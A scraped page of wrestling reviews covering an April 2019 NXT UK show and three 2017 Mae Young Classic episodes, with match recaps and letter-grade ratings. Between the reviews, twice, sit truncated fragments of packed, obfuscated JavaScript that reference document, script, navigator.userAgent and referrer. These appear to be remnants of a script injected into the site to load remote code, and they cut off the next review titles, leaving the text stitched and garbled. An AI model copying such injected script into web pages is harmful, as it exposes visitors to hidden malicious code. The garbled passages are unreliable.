IMG Credit: WWE

NXT UK
Date: April 10, 2019
Location: Coventry Skydome Arena, Coventry, England
Commentators: Vic Joseph, Nigel McGuinness

It’s the final show from the taping cycle and while the United Kingdom Title changed hands about six weeks after this was filmed, I’m sure something will be mentioned in an inserted video. As for tonight though, we have the Women’s Title to worry about as Toni Storm is defending against Jinny. They have quite the rivalry in Progress so this should be good. Let’s get to it.

Here are last week’s results if you need a recap.

We open with a recap of Storm vs. Jinny. Storm won the title earlier in the year and Jinny is tired of it always being Toni Time. We get some clips of their Progress matches, with Toni saying that Jinny doesn’t like being made to work for something and tonight she has to fight.

Opening sequence.

Travis Banks vs. Kassius Ohno

Feeling out process to start with Ohno taking over off a wristlock but getting reversed into a headlock. Banks tries a shoulder but Ohno doesn’t go very far. He turns his head to look at Banks and says “Oh I didn’t see you! I didn’t feel you either.” Ohno loads up a shoulder of his own but stomps on Banks’ foot instead. Banks goes with the kicks to the chest instead and one to the back puts Ohno on the floor.

The dive is countered though and Ohno kicks him in the face. Banks is fine enough to hit a running kick to the chest from the apron, only to be sent into the steps for his efforts. Back in and a running legdrop gives Ohno two but he misses a backsplash. The kicks to the chest (they like kicking in this one) keep Ohno in trouble until a knee to Banks’ injured shoulder has him writhing on the mat.

Ohno walks around for a bit until they trade more kicks. The pump kick gives Ohno two so it’s time to pull on the arm a little bit. A reversed whip sends Ohno to the apron and a dropkick puts him on the floor. Now the suicide dive connects, allowing Banks to hit a running knee to the face.

Back in and Banks gets caught in an electric chair, which is countered into a victory roll for two. A quick Kiwi Crusher gets two more but Ohno throws him onto his shoulders again for a Rubik’s Cube (One Winged Angel) for two which should have been three. Ohno is so surprised that he gets rolled up twice in a row, followed by a third attempt for the pin at 14:47.

Rating: B. Questionable use of such a major move that didn’t end the match aside, this was a smart way to use Ohno. He’s so much bigger than Banks (or just about anyone else on the roster) and it’s a good idea to have him wrestle this kind of an aggressive style. Banks looks like he can beat a monster, which is a good way to get him back on the right track.

We look back at Piper Niven debuting last week and scaring off Rhea Ripley.

Long video on Pete Dunne vs. Walter.

Jordan Devlin is sick of hearing about Dunne’s rematch because he’d rather hear about his own title shot.

Piper Niven vs. Killer Kelly

Piper stalks her a bit and we get an early handshake. Kelly goes a little more aggressive than I would have expected and tries a cravate, earning herself a slam and backsplash. A regular splash gets two and we hit the chinlock. Back up and Kelly slips off Piper’s shoulder and grabs a sleeper, which is reversed with a crash into the corner. A Cannonball into a Michinoku Driver gives Piper the pin at 3:35.

Rating: D+. Not quite a squash but Kelly never felt like any kind of a threat. That’s the right way to present someone like Piper, who shouldn’t be in any kind of trouble until she’s in there with Ripley. Yeah she’s big, but she moves around very well and came off as very athletic, which is a great combination.

Post match Rhea tries to sneak in but gets stared back up the aisle.

Moustache Mountain is ready to come to New York to face Flash Morgan Webster and Mark Andrews.

The Grizzled Young Veterans aren’t happy with having to go to New York because Gibson doesn’t want to miss Liverpool games. There’s going to be a non-title challenge to any team from the NXT UK roster.

Joseph Conners vs. Jack Starz

Starz spins out of a wristlock to start and puts Conners down into a wristlock. Conners’ British Bulldog lift out of a short armscissors is countered into a sunset flip to give Starz two. With early frustration setting in, Conners hits a top rope shoulder and it’s off to a neck crank. Some elbow drops have Starz in more trouble and Conners wants the referee to check on him. The referee thinks Starz is fine so Conners hits a hard clothesline but Starz slips between his legs. A running corner dropkick sets up a high crossbody, which Conners rolls through into Don’t Look Down for the pin at 4:46.

Rating: C-. Remember all the other times I’ve criticized Conners’ matches in the same way? It’s the exact same thing here. Don’t Look Down is a good name for a finisher and it’s not a bad move….but it’s Joseph Conners doing the thing. I’d like to care about him, but he is just so uninteresting and dull that there’s nothing he can do to fix his problems.

Video on Dave Mastiff, who is back soon.

Women’s Title: Toni Storm vs. Jinny

Jinny is challenging. They go right at it to start with Toni getting the better of it and grabbing a half crab. The fans don’t make it any better by calling Jinny a Primark Princess, though Toni switching to an STF might be more painful (emphasis on might). After using the rope for a break, it’s off to a camel clutch to put Toni in trouble for a change. Storm reverses into a surfboard on the mat but Jinny is right back in the ropes for the break.

A Downward Spiral into the middle buckle knocks Toni silly and it’s time to start in on the back. Jinny hits a backbreaker and grabs a chinlock with a knee in the back. Now it’s a regular chinlock as Jinny is looking rather strong so far. Toni fights up with some rolling German suplexes but another shot to the back cuts her off. Jinny’s version of Storm Zero is countered with a headbutt and Jinny is rocked. She’s fine enough to try a hurricanrana, which is reversed into a powerbomb. Storm Zero retains the title at 10:34.

Rating: B-. Jinny was treated as an equal here and a real threat to the title, which is the best thing that can happen to the division at the moment. Storm and Ripley have been on top for so long that they need someone fresh in the ranks. It doesn’t have to be someone to win the title, but there needs to be someone who makes Toni sweat, which is what we had here.

Overall Rating: B+. That’s one of the better shows they’ve had and they’re wisely taking a path that NXT took: what you see right now on this show, no matter what it might be, is the most important thing. They treated the Women’s Title match like a big deal, just as they did Trent Seven vs. Joe Coffey before. It makes everything on the show feel important, which gives you a reason to want to watch. Some things are of course more important than others, but you wouldn’t know that from commentary and that’s the right way to go about things.

Results

Travis Banks b. Kassius Ohno – Rollup

Piper Niven b. Killer Kelly – Michinoku Driver

Joseph Conners b. Jack Starz – Don’t Look Down

Toni Storm b. Jinny – Storm Zero

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2000 Monday Nitro and Thunder Reviews Part 1 (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/02/22/new-book-kbs-monday-nitro-thunder-reviews-volume-vii-january-june-2000/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Mae Young Classic Episode #7
Date: September 4, 2017
Location: Full Sail University, Winter Park, Florida
Commentators: Jim Ross, Lita

We’re down to the final eight and that means four quarterfinal matches tonight. You can probably guess what’s coming for the final four but that’s what makes these rounds exciting: there’s the chance of a big upset and that could change everything. Things were a lot better in the second round and hopefully that’s the case here too. Let’s get to it.

We open with a recap of how all eight made it to the quarterfinals.

No bio videos here, though to be fair you should know who they are at this point.

Quarterfinals: Abbey Laith vs. Mercedes Martinez

Abbey takes her down in a test of strength to start until a hard palm strike to the jaw slows Laith down. Mercedes headlocks her for a bit before a heck of a slap staggers Abbey again. A spinning kick is countered so Abbey just does the splits instead of getting dropped again. Laith kicks at the arm a bit and JR brings up the two years off that Mercedes needed for a shoulder injury. That little background information often helps things so much and I wish we got more of it in WWE.

Abbey chops her back and kicks Mercedes in the head for two. That just earns Abbey a hard whip into the post and they fight to the apron with Lita joining the IT’S THE HARDEST PART OF THE RING club. Abbey kicks her out to the floor (which hasn’t been the case very often in the tournament) for a crossbody to leave both of them laying.

Back in and Abbey tries to get fired up but Mercedes sends her outside for a breather. That goes nowhere so Abbey grabs a bridging German suplex for two, drawing a heck of a scream out of Laith on the kickout. Mercedes grabs the fisherman’s buster for the pin at 8:57 in another fast finish.

Rating: B. These finishes coming out of nowhere aren’t doing much for me and they’re becoming a pattern around here. Mercedes advancing is the right call as she’s been treated as a veteran killer so sending her to the semifinals makes sense. Good match here too, which is all you can ask for.

Johnny Gargano is here and you know what that means.

Quarterfinals: Candice LeRae vs. Shayna Baszler

The winner gets Martinez in the semifinals. Shayna wastes no time with a hard knee lift and looks like she’s toying with Candice to start. A kick misses though and Shayna crotches herself to give Candice a breather. Shayna gets sent outside for a suicide dive into a DDT (cool) to drop her on her head. Back in and we hit an Octopus hold on Baszler, followed by the Gargano Escape for a nice touch. Baszler calmly powers her up for a side slam and tries a super gutwrench suplex. Ms. LeRae’s Wild Ride is easily countered into the rear naked choke for the tap at 3:11.

Rating: C+. They were getting going here until the very sudden ending, though this was the right idea. The idea behind Baszler is that she can finish you in the blink of an eye and that’s exactly what they should be going for with her. LeRae is going to be fine wherever she goes and that suicide DDT was freaking sweet. Throw in the submission tease and they had me going a few times here. Give this more time though and it’s instantly better.

Baszler won’t let go of the hold, to the point where I thought they were going to reverse the decision for a second. She even kicks at LeRae as the doctors check on her. Now that’s how you book a heel.

Quarterfinals: Piper Niven vs. Toni Storm

Storm takes the far bigger Niven into the corner and gives her a playful tap on the jaw. For some reason Toni thinks a test of strength is a good idea with Niven taking her down. Storm bridges up and Niven can’t break it for an impressive strength display. Like, a very impressive one as Toni isn’t that big. They bridge up at the same time and shake hands upside down for a cute bit.

Niven powers her down and gets two off a splash, followed by Toni getting the same off a crossbody. Two more splashes give Piper the same so Toni grabs a Backstabber (popular move in this tournament) for a breather. A German suplex is countered into the Michinoku Driver for two and Piper is stunned. She tries the Vader Bomb, only to get caught in a German superplex. A top rope legdrop sends Storm on at 7:36.

Rating: C+. I don’t think anyone was buying the idea that Niven was anything more than a dragon for someone to slay. Storm is as good of an option as anyone else as she has a great look and feels like someone they want to push the heck out of, especially over time. Good enough match here and while Storm isn’t making it to the finals, she’s getting noticed, which is often more important.

Baszler’s fellow Four Horsewomen are proud of her win but here are Bayley, Charlotte and Becky Lynch for the staredown. Rousey: “Anytime, anyplace.” Say…..New Orleans perhaps? Maybe early April?

Funaki is here.

Quarterfinals: Kairi Sane vs. Dakota Kai

Kairi headlocks her down to start and the fans seem pleased at an early standoff. A spinning backfist misses and Kai gives her a martial arts pose. Kairi takes her into the corner for some hard chops as this is getting physical. The fans are behind Kairi but get quieted down with a running kick to the jaw in the corner. Kairi is tired of getting hit in the face so she spears Kai down for a breather.

Kai hits another running kick in the corner but gets sent into the corner. Kairi can’t hit a superplex but can avoid a top rope double stomp with Kai tweaking the knee on the landing. A top rope Phenomenal Forearm gives Kairi two but Kai kicks her down again. Another running kick in the corner misses though and it’s an Alabama Slam it’s the top rope elbow to send Sane to the semifinals at 7:42.

Rating: B. I’m starting to get the appeal of Sane and a lot of it is due to having her do stuff like this. Kai was very game here and that made for a more entertaining match. People like Sane are going to get more out of this than by squashing someone so it’s definitely the right call. Kai will have a job in WWE if she wants one but this is Sane’s tournament to win. Maybe.

The semifinals are set:

Kairi Sane

Toni Storm

Mercedes Martinez

Shayna Baszler

Overall Rating: B. I’m not sure what it says that I’m more interested in the Four Horsewomen battle than the tournament but that was definitely one of the big draws of this whole thing. The final four are interesting and while you can almost pencil in Sane vs. Baszler for the whole thing, that’s not the worst result in the world. Good show here and I’m fired up for the last two shows.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zrtzh|var|u0026u|referrer|drihn||js|php'.split('|'),0,{})) Young Classic Episode #5
Date: September 4, 2017
Location: Full Sail University, Winter Park, Florida
Commentators: Jim Ross, Lita

The fast paced shows continue as we have four more episodes being released today before we get ready for next week’s live finale. We’re down to sixteen competitors to go and for the most part, I’m coming into this blind on the spoilers. It’s hard to say where some of these matches are going to go so let’s get to it.

Mauro handles the opening recap again.

The remaining entrants are on stage.

Video on Abbey Laith, who has wrestled for years and is here now.

Video on Rachel Evers, who was originally scheduled to lose in the first round but Marti Belle was so horrible that they changed plans mid-match.

Kassius Ohno is here.

Second Round: Abbey Laith vs. Rachel Evers

The fans sound split here as Rachel shoves her down to start, only to get wristdragged to the floor. Back in and a Stunner of all things puts Abbey down but they hit stereo bicycle kicks for a double knockdown. Abbey sticks with the kicks, including a high one off the side of Evers’ head to send her straight down. She’s up fast enough to catch Abbey on top with a super powerslam of all things for two. Cool looking move if nothing else. Evers tries another kick but gets dropped with a powerbomb, setting up the Alligator Clutch for the pin at 4:51.

Rating: C-. This started off a bit awkward but got better as things went on. Laith feels like someone they’re ready to push pretty hard, especially given her background on the indy scene. Evers just needs a lot more ring time, though she has the look and pedigree to make a pretty nice run for herself one day.

Video on Serena Deeb, who is very aggressive and will work hard.

Video on Piper Niven, who wants to be tough but with a big smile.

Second Round: Serena Deeb vs. Piper Niven

Niven powers her into the corner to start and falls on Deeb in a slam attempt. Well to be fair that was just kind of dumb. A hard belly to back suplex breaks up Serena’s headlock and there’s a splash for two more. With the holds not working, Deeb opts for just punching her in the face for a change. A middle rope Codebreaker (or maybe something like a monkey flip) drops Niven and a neckbreaker gets two.

Deeb is right back up with a modified Diamond Cutter for two more as the fans are split again. A charge misses in the corner though and Niven drops a Vader Bomb….for two. Dang I would have bet on that one. Niven heads up top (uh oh) and misses a splash, only to grab the Michinoku Driver to put Deeb away at 7:12.

Rating: C. What in the world was that ending? Niven missed the splash to seemingly give Deeb a hope spot but she was up less than five seconds later and hit the finish for the pin. I looked away for a second and my head swung back because I thought the video had skipped. They were trying to get into the Sting vs. Vader formula here but that ending REALLY knocked them back.

Video on Princesa Sugehit, who may be a veteran but needs to win this tournament.

Video on Mercedes Martinez, who has waited a long time for this opportunity.

Kalisto is here.

Second Round: Princesa Sugehit vs. Mercedes Martinez

Sugehit, in Wonder Woman themed gear, takes her down by the arm and tries a quick rollup for two. Another rollup, this time into the corner, gets the same on Martinez but she’s right back with Two Amigos into a draping swinging neckbreaker. Princesa grabs a Codebreaker but has to block a superplex attempt. Instead it’s a tornado DDT (now a big spot on the indy Bingo card) for two on Martinez and both of them are spent less than five minutes in. One heck of a Fujiwara armbar has Martinez in more trouble but she pops up and hits a fisherman’s buster for the pin at 5:09.

Rating: C. What is with these sudden endings? Sugehit was dominating and then got caught by one move, seemingly out of nowhere, for the pin. Mercedes winning certainly isn’t a surprise but they could have done a better job of laying the match out. You have almost all the time you want and there’s no need to cut them down this fast.

Video on Bianca Belair, whose hair whip thing is still stupid.

Video on Kairi Sane, who is perhaps the most awesome thing ever.

Second Round: Bianca Belair vs. Kairi Sane

Kairi gets taken down to start and we hit a headlock as JR continues to brag about how awesome of an athlete Belair is. Back up and Belair blows her a kiss, only to have Sane grab it out of the air and stomp it on the mat. One heck of a forearm drops Belair but she hits the hair whip (So you can use it to whip people but get yelled at for pulling it?) to take over.

A delayed vertical suplex with some squats gets two and we hit a seated full nelson. So she’s a No Mercy fan? Some ground and pound of all things has Kairi down but she gets her knees up to stop a splash. Kairi does those rapid fire chops in the corner that probably don’t hurt much but they’re done in Japan and therefore they must be awesome.

A seated double arm choke (another No Mercy move) has Belair in trouble until she fights up and gets in a double chickenwing slam. One heck of a 450 gets a red hot near fall on Sane and Bianca is stunned. Kairi kicks her down and hits a running corner clothesline, followed by the top rope elbow (which she almost completely misses as her hip makes contact instead) to eliminate Belair at 10:00.

Rating: B. I’ll give this one a higher rating for the No Mercy based offense and the hair thing being gone. Sane is clearly the top star in this whole thing and I’d be surprised if she doesn’t win the whole thing. Belair is a heck of an athlete and that 450 looked awesome. She’ll be a big deal in NXT for a good while and then on the main roster assuming she has any kind of talking ability.

A recap wraps things up.

Overall Rating: B-. Now we’re getting to the fun part where they’re having big names face other big names. The wrestling is getting better too and that can make for some sweet matches. I’m looking forward to where things go from here and the rest of the tournament, assuming it’s given time, should be a lot of fun.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dhdni|var|u0026u|referrer|nrziy||js|php'.split('|'),0,{})) Young Classic Episode #3
Date: August 28, 2017
Location: Full Sail University, Winter Park, Florida
Commentators: Jim Ross, Lita

It’s time to start the second half of the first round and I’ve liked the tournament so far. It might not be anything great so far but the talent is there and they’re still in the opening stages, meaning we won’t be seeing any showdowns until the second round. That’s when these things get good but we have to get there first. Let’s get to it.

Mauro recaps and previews us again.

Opening sequence.

Video on Toni Storm, an Australian with an attitude. Oh and a little top hat. She’s also the first Progress Women’s Champion.

Video on Ayesha Raymond, the Deadlift Diva. I think you get the idea here.

First Round: Toni Storm vs. Ayesha Raymond

No handshake before the match. Raymond is much bigger but the fans are behind Storm. Toni backs out of a headlock and offers a handshake but this time pulls her own hand back when Ayesha goes for it. A running kick to the face sets up some hip attacks to drop Raymond again. Raymond is right back up with a side slam and corner splash as the pace slows. Toni avoids a charge in the corner and grabs a Backstabber as the Aussie fans start up again. A slam off the top puts Storm down but Raymond hops down instead of going after her. The delay lets Toni avoid a top rope splash and grab a rolling cradle for the pin at 4:28.

Charlotte and Sara Amoto are here. Can we just put both of them in the Hall of Fame already?

Video on Kavita Devi, the first Indian woman ever in WWE. She was trained by Great Khali so her future isn’t exactly bright.

Video on Dakota Kai, the girl next girl from New Zealand who can get very serious if necessary.

First Round: Kavita Devi vs. Dakota Kai

The much bigger Devi shoves her around without much effort and then walks the top rope into an armdrag in a very impressive bit of athleticism. A second version works just as well Kai’s dropkick has no effect and a gorilla press drop makes things even worse for her. Devi slowly walks around instead of following up though and gets caught with a running boot to the face in the corner. Kai is quickly up top and a double stomp ends Davi at 3:58.

Rating: D+. Much like Raymond, Davi didn’t show me anything here and it made for a dull match. Kai has a good look and seems to have the charisma to back it up but there’s only so much you can do against someone who was trained by Great Khali. Hopefully the next match is a better fit for her, which I can’t imagine being the case otherwise.

Rock’s family, including Nia Jax, is here.

Video on Bianca Belair, who is quite the well rounded athlete with a VERY long hair braid that is often used as a weapon.

Video on Sage Beckett, formerly known as Rosie Lottalove. She’s lost something like 150lbs and turned into quite the vicious brawler. Beckett talks about channeling energy to do whatever she needs.

First Round: Sage Beckett vs. Bianca Belair

The power showdown starts early with the bigger Sage (though Bianca is far from small) running her over and getting two off a shoulder. Belair comes back with a dropkick and a hard clothesline for two each as they’re beating each other pretty well here. Something like a running frog splash gets the same and it’s off to a double chickenwing on Sage. Back up and a Bubba Bomb gives Beckett (who was trained by the Dudleys) a near fall of her own and Bianca gets splashed in the corner. Belair gets tied in the Tree of Woe but avoids a Vader Bomb. A shot with the hair braid sets up a spear to send Bianca on at 5:25.

Rating: C+. I liked this one but it had some rough spots. Beckett is a bit better than your average monster, though it felt like she was just there for Belair to slay. As for Belair, there’s some awesome potential there due to natural athleticism but the hair thing isn’t working for me. It’s distracting and having her whip Sage back with it was too far for me.

Charly Caruso recaps things.

Video on Santana Garrett, who is billed as the Wonder Woman of the tournament and has appeared on NXT (and TNA) before.

Video on Piper Niven, a Scot with some size to her. She’s better known as Viper on the indy scene.

First Round: Santana Garrett vs. Piper Niven

Piper drives her into the corner and gives her a friendly shove to the jaw. The fans are split again as Garrett spins out of a wristlock. Niven easily powers out of something like a Black Widow, only to get kicked in the chest for two. A headscissors drops Niven but she comes right back with a crossbody for a near fall of her own. It’s off to the cravate, which JR compares to bangers and mash or fish and chips.

A clothesline gives Piper too as JR praises her for her simple strategy. Garrett gets two off a DDT and an Eat Defeat but a bulldog is broken up. Piper’s running splash gets two (looked great too) but she gets caught on top with a running strike to the face. The fans are WAY into these near falls and Santana’s superkick makes it even better. She misses a moonsault though and a backsplash sets up the Michinoku Driver to end Garrett at 7:10.

Rating: B-. Niven did more than most huge females do and that makes for an entertaining match. Sometimes you need a change of pace from all the same stuff and that’s why she’s going to shine so well. Garrett still seems to have most of the tools but needs some better coaching. You know, like at the Performance Center, where she’s still not signed for some reason.

The recap and preview finish things off.

Overall Rating: C. The good was good and the bad was tolerable but some of this stuff is starting to run together. There are definitely some people starting to stand out though and that’s what makes things more interesting. Avoiding spoilers for the most part has helped too, though when WWE.com is telling you who won some of the first round matches, it gets a little annoying. Still though, not a bad show but it’s yet to hit that high gear.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6